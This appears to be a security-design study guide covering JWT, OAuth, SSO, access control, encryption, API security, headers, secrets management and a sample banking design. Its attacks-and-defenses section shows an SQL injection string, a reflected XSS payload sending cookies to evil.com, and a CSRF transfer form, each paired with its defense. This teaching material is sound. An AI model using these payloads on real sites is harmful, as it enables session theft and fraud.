Security Design

Authentication vs Authorization

Authentication (Who are you?): Verifying the identity of a user, device, or system.

• Username/password, biometrics, hardware tokens, certificates
• "Alice is who she claims to be"

Authorization (What can you do?): Determining what an authenticated entity is allowed to do.

• Permissions, roles, policies
• "Alice can access her own account but not Bob's"

JWT (JSON Web Tokens)

Structure:

Header.Payload.Signature

Header: { "alg": "HS256", "typ": "JWT" }
Payload: { "sub": "1234567890", "name": "Alice", "exp": 1700000000 }
Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

Token Flow:

1. User logs in with credentials
2. Server validates credentials, generates JWT
3. JWT sent to client (stored in cookie or memory)
4. Client includes JWT in Authorization header: "Bearer <token>"
5. Server validates JWT signature and claims on each request

JWT Advantages:

• Stateless: no server-side session storage needed
• Scalable: any server can verify the token
• Self-contained: carries user identity and claims

JWT Disadvantages:

• Cannot be revoked before expiration (need blacklist or short expiry)
• Payload is base64-encoded, not encrypted (don't store secrets)
• Token size can grow with many claims

Best Practices:

• Short expiration (15 min for access tokens)
• Use refresh tokens for long-lived sessions
• Store in HttpOnly, Secure, SameSite cookies (not localStorage)
• Use RS256 (asymmetric) for multi-service architectures

OAuth 2.0 Flow

Authorization Code Flow (most common for web apps):

1. Client → Authorization Server: /authorize?response_type=code&client_id=xxx&redirect_uri=xxx
2. User authenticates and grants consent
3. Authorization Server → Client: redirect to redirect_uri?code=AUTH_CODE
4. Client → Authorization Server: /token (code, client_id, client_secret)
5. Authorization Server → Client: { access_token, refresh_token }
6. Client → Resource Server: Authorization: Bearer <access_token>
7. Resource Server validates token and serves request

PKCE Extension (for public clients, mobile apps, SPAs):

• Adds code_verifier and code_challenge to prevent authorization code interception
• No client_secret required — security comes from cryptographic proof

Token Types:

• Access Token: Short-lived (15-60 min), used to access resources
• Refresh Token: Long-lived (days-weeks), used to obtain new access tokens
• ID Token: Contains user identity info (OpenID Connect)

SSO (Single Sign-On) and SAML

SAML 2.0:

• XML-based protocol for enterprise SSO
• Identity Provider (IdP) authenticates user → sends SAML assertion to Service Provider (SP)
• Common in enterprise: Okta, Azure AD, OneLogin as IdP

OIDC (OpenID Connect):

• Layer on top of OAuth 2.0 for authentication
• Adds ID Token and UserInfo endpoint
• More modern, simpler than SAML, uses JSON
• Common for consumer apps

SSO Architecture:

User → App A → Redirect to IdP → User authenticates → IdP issues token
User → App B → Redirect to IdP → IdP recognizes session → Issues token (no re-login)

RBAC vs ABAC

RBAC (Role-Based Access Control):

• Permissions assigned to roles, users assigned to roles
• Example: Role "Admin" has permissions [create, read, update, delete]
• Simple, works for most applications
• Limitation: role explosion as permissions grow (many combinations)

{
  "roles": {
    "admin": ["users:read", "users:write", "orders:read", "orders:write"],
    "viewer": ["orders:read"],
    "support": ["orders:read", "users:read"]
  },
  "users": {
    "alice": "admin",
    "bob": "viewer"
  }
}

ABAC (Attribute-Based Access Control):

• Permissions based on attributes of user, resource, action, and environment
• More flexible, fine-grained
• Example: "Allow access if user.department == resource.owner AND action == 'read' AND time.hour >= 9 AND time.hour <= 17"
• Used in complex enterprise systems, cloud IAM

Comparison:

Aspect	RBAC	ABAC
Complexity	Low	High
Granularity	Coarse	Fine-grained
Scalability	Role explosion	Attribute combinations
Use case	Most apps	Enterprise, compliance

Amazon's Approach

• Uses ABAC extensively in AWS IAM
• IAM policies are attribute-based: Principal, Action, Resource, Condition
• Condition keys allow fine-grained control (IP, time, MFA status, etc.)

Encryption at Rest

AES-256 (Advanced Encryption Standard):

• Symmetric encryption algorithm
• 256-bit key size — practically unbreakable with current technology
• Used for: database encryption, file storage, disk encryption

Encryption Strategies:

1. Application-Level Encryption

   • Encrypt data before writing to storage
   • Application manages keys
   • Most flexible, works across storage systems
   • Example: Encrypt PII fields (SSN, credit card) individually

2. Storage-Level Encryption

   • Transparent to application — storage handles encryption/decryption
   • AWS EBS encryption, S3 server-side encryption (SSE-S3, SSE-KMS, SSE-C)
   • Simpler to implement but less granular

3. Database-Level Encryption

   • Transparent Data Encryption (TDE) for entire database
   • Column-level encryption for specific sensitive fields
   • AWS RDS encryption, DynamoDB encryption at rest

Key Management:

• AWS KMS: Managed key service, integrates with most AWS services
• Customer-managed keys (CMK): You control key policy and rotation
• Envelope encryption: Encrypt data with data key, encrypt data key with master key

Encryption in Transit

TLS 1.3 (Transport Layer Security):

• Encrypts all data between client and server
• TLS 1.3 improvements over 1.2:
  • Fewer round trips (1-RTT handshake vs 2-RTT)
  • Removed weak ciphers (RC4, 3DES, CBC mode)
  • Forward secrecy mandatory (ECDHE key exchange)
  • Encrypted handshake (server certificate encrypted)

TLS Handshake (simplified):

1. Client Hello: supported cipher suites, TLS version
2. Server Hello: chosen cipher suite, server certificate
3. Key Exchange: Diffie-Hellman or ECDHE
4. Both derive session keys
5. Finished: encrypted with session keys
6. Application data: encrypted with session keys

Certificate Management:

• Use Let's Encrypt for free TLS certificates
• AWS Certificate Manager (ACM) for auto-renewal
• Certificate pinning for mobile apps (optional)
• HSTS to enforce HTTPS

Data Masking and Tokenization

Data Masking:

• Replace sensitive data with realistic but fake data
• Examples: "1234-5678-9012-3456" → "--****-3456"
• Used in non-production environments (dev, QA, staging)
• Types: static masking (permanent), dynamic masking (on-the-fly)

Tokenization:

• Replace sensitive data with a non-sensitive token
• Original data stored in a secure token vault
• Token has no mathematical relationship to original data
• Used in payment processing (PCI DSS compliance)
• Example: Credit card number → random token → vault maps token to card number

PII (Personally Identifiable Information) Handling

Classification Levels:

Level	Data Types	Protection
Public	Marketing info, public profiles	No encryption required
Internal	Employee IDs, internal docs	Access control
Confidential	Email, phone, address	Encryption + access control
Restricted	SSN, credit card, health data	Strong encryption + tokenization + audit

Principles:

• Data minimization: Collect only what you need
• Purpose limitation: Use data only for stated purpose
• Retention limits: Delete data when no longer needed
• Right to deletion: GDPR Article 17 — erasure on request

API Security

Rate Limiting:

• Limits number of requests per time window per client/IP/API key
• Prevents abuse, DoS, and brute force attacks
• Strategies:
  • Fixed window: 100 requests per minute (resets at window boundary)
  • Sliding window: Rolling window (more accurate but complex)
  • Token bucket: Tokens consumed per request, refilled at fixed rate
  • Leaky bucket: Requests queued, processed at fixed rate

Implementation (Redis-based):

def rate_limit(user_id, limit=100, window=60):
    key = f"rate:{user_id}:{int(time.time()) // window}"
    count = redis.incr(key)
    if count == 1:
        redis.expire(key, window)
    if count > limit:
        raise RateLimitExceeded()

HTTP 429 Response:

HTTP/1.1 429 Too Many Requests
Retry-After: 30
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1700000030

Input Validation:

• Validate ALL input on the server side (never trust client-side validation)
• Whitelist validation over blacklist (define what IS allowed, not what ISN'T)
• Use schema validation (JSON Schema, protobuf)
• Parameterized queries to prevent SQL injection
• Limit input length, type, and format

CORS (Cross-Origin Resource Sharing):

Access-Control-Allow-Origin: https://trusted-domain.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
Access-Control-Allow-Credentials: true

• Never use Access-Control-Allow-Origin: * with credentials
• Whitelist specific origins
• Preflight requests (OPTIONS) for non-simple requests

Common Attacks and Defenses

SQL Injection:

# Vulnerable
cursor.execute(f"SELECT * FROM users WHERE id = '{user_input}'")
# Input: ' OR '1'='1' -- → returns all users

# Protected
cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,))
# Parameterized query - input is treated as data, not code

Cross-Site Scripting (XSS):

# Reflected XSS: malicious script in URL parameter
https://example.com/search?q=<script>document.location='http://evil.com/steal?c='+document.cookie</script>

# Stored XSS: malicious script stored in database
# User posts comment containing <script>...</script>

# Defense: Content Security Policy (CSP) + output encoding
Content-Security-Policy: default-src 'self'; script-src 'self'

Cross-Site Request Forgery (CSRF):

# Attacker creates hidden form on evil.com
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>

# Defense: CSRF token
# Include unique token in form, verify on server
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="random_unique_token">
</form>

# Alternative: SameSite cookie attribute
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

DDoS (Distributed Denial of Service):

• Volumetric: Flood with traffic (UDP flood, amplification)
• Protocol: Exploit protocol weaknesses (SYN flood, Ping of Death)
• Application Layer: Target specific endpoints (HTTP flood, Slowloris)

Defenses:

• AWS Shield / Cloudflare for volumetric attacks
• Rate limiting and WAF for application layer
• Auto-scaling to absorb traffic spikes
• Anycast routing to distribute traffic
• Challenge-response (CAPTCHA) for suspicious traffic

Security Headers

Content Security Policy (CSP):

Content-Security-Policy: 
  default-src 'self'; 
  script-src 'self' https://trusted-cdn.com; 
  style-src 'self' 'unsafe-inline'; 
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

HSTS (HTTP Strict Transport Security):

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

• Forces browser to use HTTPS for all requests
• max-age: How long to remember (1 year recommended)
• includeSubDomains: Apply to all subdomains
• preload: Submit to browser preload list (HTTPS-only from first visit)

Other Security Headers:

X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()

Secrets Management

AWS Secrets Manager:

• Managed service for storing and rotating secrets
• Automatic rotation with Lambda functions
• Integration with RDS, Redshift, DocumentDB
• Audit with CloudTrail

import boto3
import json

client = boto3.client('secretsmanager')
response = client.get_secret_value(SecretId='prod/db/password')
secret = json.loads(response['SecretString'])

HashiCorp Vault:

• Open-source secrets management
• Dynamic secrets (generate unique credentials per request)
• Lease-based: secrets expire automatically
• Transit encryption engine (encrypt/decrypt without exposing keys)
• Multiple auth methods: AppRole, Kubernetes, AWS IAM

Best Practices:

• Never commit secrets to code or config files
• Use environment variables or secret managers
• Rotate secrets regularly (automated rotation preferred)
• Audit secret access
• Use least-privilege access to secrets
• Separate secrets per environment (dev, staging, prod)

Security Design for Banking Application

Authentication:

• Multi-factor authentication (MFA): password + SMS/authenticator app
• Biometric authentication for mobile (fingerprint, face ID)
• Session timeout: 15 minutes idle, 8 hours absolute
• Device fingerprinting for fraud detection

Authorization:

• RBAC: customer, teller, manager, admin roles
• ABAC: transaction limits based on account type, customer tier, time of day
• Step-up authentication for high-risk operations (large transfers)
• Dual authorization for wire transfers above threshold

Data Protection:

• AES-256 encryption at rest for all PII and financial data
• TLS 1.3 for all communications
• Tokenization for credit card numbers (PCI DSS compliance)
• Database field-level encryption for SSN, account numbers
• Data masking in non-production environments

Transaction Security:

1. User initiates transfer
2. System checks: velocity (5 transfers/hour), amount ($10K daily limit), destination (known payee)
3. If anomaly detected → step-up authentication (MFA + security question)
4. Transaction signed with user's private key
5. Logged to immutable audit trail (append-only log)
6. Real-time fraud detection ML model scores transaction
7. If score > threshold → hold for manual review

Audit and Compliance:

• Immutable audit logs (append-only, cryptographically signed)
• SOC 2 compliance controls
• PCI DSS for card processing
• GDPR for EU customer data
• Real-time alerting on suspicious activity

Infrastructure Security:

• VPC isolation with private subnets for databases
• Security groups with least-privilege port access
• WAF for SQL injection, XSS protection
• AWS Shield for DDoS protection
• Regular penetration testing and security audits
• Pen test findings tracked and remediated within SLA